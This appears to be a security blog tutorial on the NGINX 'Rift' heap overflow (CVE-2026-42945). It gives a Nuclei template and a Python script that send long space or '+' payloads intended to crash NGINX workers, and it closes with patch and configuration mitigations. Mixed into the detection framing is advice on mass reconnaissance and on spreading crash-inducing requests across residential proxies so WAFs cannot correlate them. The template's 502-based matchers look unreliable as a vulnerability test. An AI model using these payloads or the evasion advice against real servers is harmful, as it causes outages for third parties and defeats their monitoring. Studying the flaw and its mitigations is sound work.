Writing a Custom Nuclei Template to Detect NGINX Rift (CVE-2026-42945)

CVE-2026-42945: The 18-Year-Old "Rift" in NGINX

NGINX Rift (CVE-2026-42945) is a critical heap buffer overflow vulnerability within the ngx_http_rewrite_module that has persisted in the NGINX codebase since 2008. The flaw is triggered by a state mismatch during the two-pass processing of rewrite, if, and set directives. Specifically, when an unnamed PCRE capture group (such as $1 or $2) is used in a replacement string that contains a question mark (?), and is immediately followed by another rewrite-related directive in the same configuration block, NGINX fails to correctly calculate the required buffer size. This results in an out-of-bounds write when the URI is expanded during the second pass, potentially leading to unauthenticated Remote Code Execution (RCE) or a reliable Denial of Service (DoS) via worker process crashes.

Root Cause: State Mismatch in the Script Engine

The ngx_http_rewrite_module uses a specialized internal script engine to handle URI transformations. To optimize memory allocation, this engine performs two distinct passes over the replacement string. In the first pass (Length Calculation), the engine iterates through the components of the replacement to determine how many bytes are needed in the destination heap buffer. In the second pass (Execution/Copy), it performs the actual string concatenation and memory copying.

The "Rift" occurs because the first pass fails to account for URI escaping that happens in the second pass under specific conditions. When the replacement string includes a ?, the is_args flag is toggled. If the source URI contains characters that require escaping (like spaces or certain symbols), the second pass expands these characters (e.g., a single space becomes %20). However, because of a logic error in the length calculation pass when handling unnamed captures, the engine allocates memory based on the raw, unescaped length. This 1-to-3 byte expansion creates the overflow. If an attacker controls the URI, they can precisely control the amount of data written past the allocated buffer boundary.

Identifying Vulnerable Targets

Mass exploitation of CVE-2026-42945 requires identifying NGINX instances that not only run a vulnerable version (0.6.27 through 1.30.0) but also employ the specific rewrite patterns required to trigger the bug. While version headers are a start, they are often suppressed in production environments. A more effective approach involves internet-wide reconnaissance to find instances exposing specific application patterns, such as WordPress permalinks or API gateways, which heavily utilize the rewrite directive. Using Zondex allows for granular discovery of exposed services and specific NGINX fingerprints across vast IP ranges, filtering for the subtle behavioral markers of the ngx_http_rewrite_module logic.

Constructing the Nuclei Template

To detect this vulnerability at scale without causing a permanent DoS, we need a Nuclei template that carefully triggers the overflow just enough to observe a process crash or a connection reset. The following template targets the common /api/ or /v1/ rewrite patterns often found in modern NGINX configurations. It uses a series of URI-encoded characters designed to trigger the expansion mismatch.

id: CVE-2026-42945-nginx-rift

info:
  name: NGINX Rift - Heap Buffer Overflow
  author: pentest-notes
  severity: critical
  description: |
    Detects the NGINX Rift vulnerability (CVE-2026-42945) in the rewrite module.
    The flaw allows unauthenticated RCE or DoS via a heap buffer overflow.
  reference:
    - https://f5.com/advisory/cve-2026-42945
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42945
  tags: cve,cve2026,nginx,rce,dos,rift

http:
  - method: GET
    path:
      - "{{BaseURL}}/vulnerable-path/{{repeat('+', 200)}}"
      - "{{BaseURL}}/index.php/{{repeat(' ', 150)}}"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "502 Bad Gateway"
          - "504 Gateway Timeout"
        condition: or

      - type: dsl
        dsl:
          - "contains(tolower(all_headers), 'server: nginx')"
          - "status_code == 502"
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - ".error_message"

Technical Deep Dive: The Trigger Mechanism

The template above sends two specific types of requests. The first uses a repeated + character. In many NGINX rewrite configurations (like those for PHP front controllers), the + is treated as a space in the query string but might be re-encoded as %2B during a rewrite if the is_args state is mismanaged. The second path uses raw spaces. If the NGINX configuration looks like this:

location /vulnerable-path/ {
    rewrite ^/vulnerable-path/(.*)$ /internal?query=$1;
    set $trigger 1;
}

The set $trigger 1; directive is the "closer" that ensures the state mismatch is finalized. When Nuclei sends 200 + characters, the length pass allocates 200 bytes for $1. The copy pass then escapes each + into %2B, attempting to write 600 bytes into a 200-byte buffer. This overwrites the ngx_pool_t structure or adjacent heap chunks, leading to an immediate crash of the worker process.

Scaling Detection with Secably and GProxy

When performing large-scale vulnerability assessments, running individual templates can be time-consuming and risks IP reputation damage. Integrating custom templates into Secably provides an automated framework for web security testing that can handle the concurrency required for global infrastructure audits. To maintain stealth and avoid rate-limiting or automated blocking during the scan, routing the Nuclei traffic through GProxy ensures that the requests are distributed across a clean pool of residential or data center proxies. This prevents the target WAFs from correlating the crash-inducing requests to a single source IP, which is essential for accurate "blind" detection where you are looking for 502 errors across a distributed fleet.

Manual Verification Script (Python)

For one-off verification of a suspected vulnerable endpoint, a Python script can be used to observe the socket behavior directly. A successful exploit of the DoS path usually results in a RemoteDisconnected error or a ConnectionResetError as the NGINX worker dies before completing the HTTP response.

import requests
import sys

def check_rift(url):
    # Crafting a payload with 500 characters that will expand
    # This specifically targets the 'rewrite' expansion logic
    payload = " " * 500 
    target = f"{url}/vulnerable-segment/{payload}"
    
    print(f"[*] Testing target: {url}")
    try:
        # Use a short timeout; we expect a crash or a 502
        response = requests.get(target, timeout=5, verify=False)
        if response.status_code == 502:
            print("[+] Potential Vulnerability Found: Received 502 Bad Gateway (Worker Crash)")
        else:
            print("[-] Target responded normally. Configuration might not be vulnerable.")
    except requests.exceptions.ConnectionError:
        print("[+] Vulnerability Confirmed: Connection reset by peer (Worker Process Segfaulted)")
    except requests.exceptions.ReadTimeout:
        print("[-] Request timed out. Target might be slow or filtering traffic.")
    except Exception as e:
        print(f"[-] Error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 rift_check.py <url>")
        sys.exit(1)
    check_rift(sys.argv[1])

Mitigation and Defensive Configuration

The primary remediation for CVE-2026-42945 is upgrading to NGINX Open Source 1.30.1, 1.31.0, or NGINX Plus R36 P4. If immediate patching is not feasible, the vulnerability can be mitigated at the configuration level by replacing unnamed PCRE captures with named captures. For example, changing $1 to $named_var forces NGINX to use a different code path for variable resolution that is not susceptible to the length calculation error. Additionally, removing unnecessary rewrite or set directives that follow each other in the same context can break the chain required to trigger the heap overflow.